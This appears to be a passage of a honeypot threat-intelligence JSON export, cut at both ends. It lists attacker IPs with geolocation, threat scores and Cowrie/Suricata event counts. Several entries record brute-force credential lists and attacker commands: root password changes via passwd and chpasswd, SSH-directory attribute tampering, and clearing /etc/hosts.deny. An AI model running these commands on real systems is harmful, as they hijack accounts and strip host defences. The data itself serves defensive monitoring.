        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T14:43:30.239000+00:00",
        "last_seen_30d": "2026-05-09T14:44:44.742000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.48.241.193": {
      "attack_count": 2,
      "first_seen": "2026-05-06T12:23:36.614Z",
      "last_seen": "2026-05-06T12:23:49.663Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Phra Nakhon Si Ayutthaya",
      "asn": 45758,
      "as_org": "Triple T Broadband Public Company Limited",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T12:23:36.614000+00:00",
        "last_seen_30d": "2026-05-06T12:24:52.962000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.173.247.150": {
      "attack_count": 2,
      "first_seen": "2026-05-11T13:48:03.518Z",
      "last_seen": "2026-05-11T13:48:03.837Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T13:48:03.518000+00:00",
        "last_seen_30d": "2026-05-11T13:49:07.693000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "60.179.234.50": {
      "attack_count": 2,
      "first_seen": "2026-05-11T16:19:39.147Z",
      "last_seen": "2026-05-11T16:19:51.746Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Ningbo",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T16:19:39.147000+00:00",
        "last_seen_30d": "2026-05-11T16:20:57.780000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "61.76.177.209": {
      "attack_count": 2,
      "first_seen": "2026-05-13T10:49:20.452Z",
      "last_seen": "2026-05-13T10:49:33.982Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Saha-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T10:49:20.452000+00:00",
        "last_seen_30d": "2026-05-13T10:50:38.858000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "89.212.129.161": {
      "attack_count": 2,
      "first_seen": "2026-05-02T03:06:12.011Z",
      "last_seen": "2026-05-02T03:06:12.293Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Slovenia",
      "country_code": "SI",
      "city": "Koper",
      "asn": 34779,
      "as_org": "T-2, d.o.o.",
      "threat_score": 2.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T03:06:12.011000+00:00",
        "last_seen_30d": "2026-05-02T03:07:13.856000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "90.218.134.160": {
      "attack_count": 2,
      "first_seen": "2026-05-26T03:30:54.002Z",
      "last_seen": "2026-05-26T03:32:54.067Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Bungay",
      "asn": 5607,
      "as_org": "Sky UK Limited",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T09:28:17.909000+00:00",
        "last_seen_30d": "2026-05-26T03:43:27.953000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "91.196.178.30": {
      "attack_count": 2,
      "first_seen": "2026-05-25T14:21:54.586Z",
      "last_seen": "2026-05-25T14:22:08.181Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Malyn",
      "asn": 43175,
      "as_org": "Lux.net, LLC",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T14:21:54.586000+00:00",
        "last_seen_30d": "2026-05-25T14:23:13.464000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.230.168.201": {
      "attack_count": 2,
      "first_seen": "2026-05-12T18:44:43.008Z",
      "last_seen": "2026-05-12T18:44:46.013Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 53.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.3,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 21,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T10:03:03+00:00",
        "last_seen_30d": "2026-05-23T14:09:53.445000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Honeytrap": 11,
        "ConPot": 2,
        "Cowrie": 2
      }
    },
    "216.108.236.88": {
      "attack_count": 1034,
      "first_seen": "2026-05-03T12:56:31.684Z",
      "last_seen": "2026-05-06T19:04:24.592Z",
      "sessions": 517,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 26277,
      "as_org": "ServerPoint.com",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 1633,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T12:56:31.684000+00:00",
        "last_seen_30d": "2026-05-06T19:05:28.609000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1034,
        "Suricata": 599
      }
    },
    "190.85.41.170": {
      "attack_count": 573,
      "first_seen": "2026-05-04T12:16:49.120Z",
      "last_seen": "2026-05-25T08:16:52.044Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "cloud",
        "ubuntu",
        "deploy",
        "gameserver",
        "test",
        "admin1",
        "arkserver",
        "catuser",
        "curl",
        "es",
        "ftptest",
        "kafka",
        "mcserver",
        "min",
        "myappuser",
        "nisuser",
        "odoo"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "Wangsu@2017",
        "0000",
        "123",
        "12345678",
        "123456789",
        "123456qq",
        "123@Root",
        "141414",
        "1z2x3c4v5",
        "20002000",
        "Admin!@#123",
        "Asdf1234!",
        "P@ssw0rd",
        "QQqq123456",
        "Qwer4321",
        "a"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Wangsu@2017\\nVz1GHHDgfDtM\\nVz1GHHDgfDtM\\n\"|passwd",
        "echo \"Wangsu@2017\\ncYbpD5SDwTy6\\ncYbpD5SDwTy6\\n\"|passwd",
        "echo \"password\\nHXzOTUw4HewE\\nHXzOTUw4HewE\\n\"|passwd",
        "echo \"root:uzCazsQ7SmMl\"|chpasswd|bash",
        "echo \"root:zLw6Kg33FVGZ\"|chpasswd|bash",
        "echo -e \"Wangsu@2017\\nVz1GHHDgfDtM\\nVz1GHHDgfDtM\"|passwd|bash",
        "echo -e \"Wangsu@2017\\ncYbpD5SDwTy6\\ncYbpD5SDwTy6\"|passwd|bash",
        "echo -e \"password\\nHXzOTUw4HewE\\nHXzOTUw4HewE\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 14080,
      "as_org": "Telmex Colombia S.A.",
      "threat_score": 47.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.5,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 705,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T12:16:49.120000+00:00",
        "last_seen_30d": "2026-05-25T08:17:52.772000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 573,
        "Suricata": 132
      }
    },
    "27.79.41.170": {
      "attack_count": 457,
      "first_seen": "2026-05-22T00:47:55.692Z",
      "last_seen": "2026-05-22T01:15:50.240Z",
      "sessions": 91,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "monitor",
        "support",
        "test",
        "ubnt",
        "user",
        "1234",
        "ace",
        "admian",
        "anton",
        "backup",
        "belkinstyle",
        "bin",
        "carol",
        "cf1c22",
        "cisco",
        "demo",
        "developer",
        "dubai"
      ],
      "passwords_attempted": [
        "admin",
        "123456",
        "1234",
        "P@ssw0rd",
        "0l0ctyQh243O63uD",
        "1111",
        "111111",
        "12345",
        "12345678",
        "72ca06",
        "91482d",
        "OkwKcECs8qJP2Z",
        "abc123",
        "abcd1234",
        "ace",
        "admin01",
        "admin1",
        "admin123",
        "anton",
        "asteriskftp"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 30.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 663,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T22:36:48.391000+00:00",
        "last_seen_30d": "2026-05-22T01:16:57.471000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 457,
        "Suricata": 206
      }
    },
    "165.154.6.75": {
      "attack_count": 331,
      "first_seen": "2026-05-22T09:46:18.014Z",
      "last_seen": "2026-05-23T19:40:48.516Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "osm",
        "ubuntu",
        "dev",
        "es",
        "jason",
        "jeremy",
        "liang",
        "marina",
        "neo",
        "oracle",
        "test",
        "user",
        "user01",
        "user123",
        "user2",
        "youssef"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0000",
        "1",
        "123456",
        "123QWEasd",
        "4rfv%TGB",
        "7ujm8ik,",
        "Aa@123456789",
        "P@ssw0rd",
        "Testing2025",
        "Zz123456.",
        "a123123123",
        "admin123",
        "elasticsearch",
        "jason123",
        "jeremy@123",
        "liang2025",
        "marina",
        "neo"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Aa@123456789\\nc9mmo3nHHX8N\\nc9mmo3nHHX8N\\n\"|passwd",
        "echo \"osm\\nSH9wi0dlI8i7\\nSH9wi0dlI8i7\\n\"|passwd",
        "echo \"root:IhhobPwGAfrP\"|chpasswd|bash",
        "echo -e \"Aa@123456789\\nc9mmo3nHHX8N\\nc9mmo3nHHX8N\"|passwd|bash",
        "echo -e \"osm\\nSH9wi0dlI8i7\\nSH9wi0dlI8i7\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 410,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:46:18.014000+00:00",
        "last_seen_30d": "2026-05-23T19:41:51.807000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 79
      }
    },
    "104.140.145.148": {
      "attack_count": 328,
      "first_seen": "2026-05-09T20:23:27.025Z",
      "last_seen": "2026-05-10T03:20:53.428Z",
      "sessions": 164,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62904,
      "as_org": "Eonix Corporation",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 637,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T20:23:27.025000+00:00",
        "last_seen_30d": "2026-05-10T04:48:07.471000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 328,
        "Suricata": 309
      }
    },
    "43.130.16.4": {
      "attack_count": 304,
      "first_seen": "2026-05-18T08:41:27.156Z",
      "last_seen": "2026-05-18T09:10:29.289Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123root",
        "1qaz2wsx3edc4rfv",
        "2004",
        "India@2022",
        "Welcome2015",
        "aaa111",
        "abcd-1234",
        "asdfgh01",
        "auser",
        "cloudadmin",
        "coding",
        "gustave",
        "hamish123",
        "percy",
        "puppet",
        "qd8899xyz",
        "sharon",
        "tdc0wnZ1324"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:NXWV0qUVrlcY\"|chpasswd|bash",
        "echo \"root:ZHaGtpUxIbcx\"|chpasswd|bash",
        "echo \"root:m3WOb7Kl53E3\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 361,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T08:41:27.156000+00:00",
        "last_seen_30d": "2026-05-18T09:11:31.092000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 57
      }
    },
    "216.189.157.132": {
      "attack_count": 288,
      "first_seen": "2026-05-07T04:05:29.268Z",
      "last_seen": "2026-05-07T04:40:23.955Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "dev",
        "test",
        "tester",
        "user05",
        "administrator",
        "debian",
        "deploy",
        "ftpuser",
        "gitlab-runner",
        "kadmin",
        "kafka",
        "minecraft",
        "newtest",
        "oracle",
        "testuser",
        "webserver"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "123123",
        "1234",
        "1QAZ2wsx",
        "1q2w3e4r",
        "1qa2ws3ed",
        "a",
        "abc1234567",
        "abcd-1234",
        "alan",
        "batman",
        "debian@2022",
        "kadmin123",
        "logitech",
        "newtest",
        "pass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nDM6yzQkw4wuH\\nDM6yzQkw4wuH\\n\"|passwd",
        "echo \"a\\nj90CzL5acFWT\\nj90CzL5acFWT\\n\"|passwd",
        "echo -e \"1234\\nDM6yzQkw4wuH\\nDM6yzQkw4wuH\"|passwd|bash",
        "echo -e \"a\\nj90CzL5acFWT\\nj90CzL5acFWT\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 7489,
      "as_org": "HostUS",
      "threat_score": 7.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T04:05:29.268000+00:00",
        "last_seen_30d": "2026-05-07T04:41:30.293000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 74
      }
    },
    "45.95.147.229": {
      "attack_count": 248,
      "first_seen": "2026-05-19T12:41:36.536Z",
      "last_seen": "2026-05-23T18:18:15.193Z",
      "sessions": 79,
      "ports": [],
      "usernames_attempted": [
        "Accept: */*",
        "Connection: keep-alive",
        "GET / HTTP/1.1"
      ],
      "passwords_attempted": [
        "Accept-Encoding: gzip, deflate",
        "Host: 172.105.186.117:23",
        "User-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.119.1.el7.x86_64"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 85.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 10.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 249630,
        "days_active_30d": 13,
        "ports_targeted_30d": 1910,
        "honeypots_triggered_30d": 18,
        "first_seen_30d": "2026-05-19T12:38:44+00:00",
        "last_seen_30d": "2026-05-31T08:24:06.132000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 170022,
        "Honeytrap": 76376,
        "Miniprint": 922,
        "ConPot": 528,
        "Mailoney": 413,
        "Dionaea": 336,
        "Cowrie": 248,
        "Redishoneypot": 180,
        "Dicompot": 123,
        "Adbhoney": 119,
        "Ipphoney": 112,
        "ElasticPot": 60,
        "H0neytr4p": 59,
        "Honeyaml": 58,
        "Tanner": 56,
        "CitrixHoneypot": 7,
        "Ciscoasa": 6,
        "Sentrypeer": 5
      }
    },
    "103.249.84.242": {
      "attack_count": 219,
      "first_seen": "2026-05-03T09:04:33.292Z",
      "last_seen": "2026-05-03T09:51:18.908Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "demouser",
        "ubuntu",
        "administrator",
        "git",
        "root",
        "test",
        "345gs5662d34",
        "ali",
        "azureuser",
        "minecraft",
        "mysql",
        "openvpn",
        "postgres",
        "rustserver",
        "sftpuser",
        "testout",
        "user",
        "user3"
      ],
      "passwords_attempted": [
        "12341234",
        "123456",
        "12345678",
        "1qw23er4",
        "3245gs5662d34",
        "345gs5662d34",
        "4444",
        "999999",
        "Abcd1234",
        "Ali123",
        "Password123",
        "ab123456",
        "admin_2019",
        "asd",
        "cxzewqdsa",
        "demouser123",
        "demouser@2024",
        "git!2023",
        "manager123",
        "meekie"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"demouser@2024\\nqfC0yfCofE6S\\nqfC0yfCofE6S\\n\"|passwd",
        "echo -e \"demouser@2024\\nqfC0yfCofE6S\\nqfC0yfCofE6S\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Cyberjaya",
      "asn": 55720,
      "as_org": "Gigabit Hosting Sdn Bhd",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T09:04:33.292000+00:00",
        "last_seen_30d": "2026-05-03T09:52:22.953000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "148.153.245.161": {
      "attack_count": 210,
      "first_seen": "2026-05-04T21:37:54.946Z",
      "last_seen": "2026-05-31T17:41:22.671Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
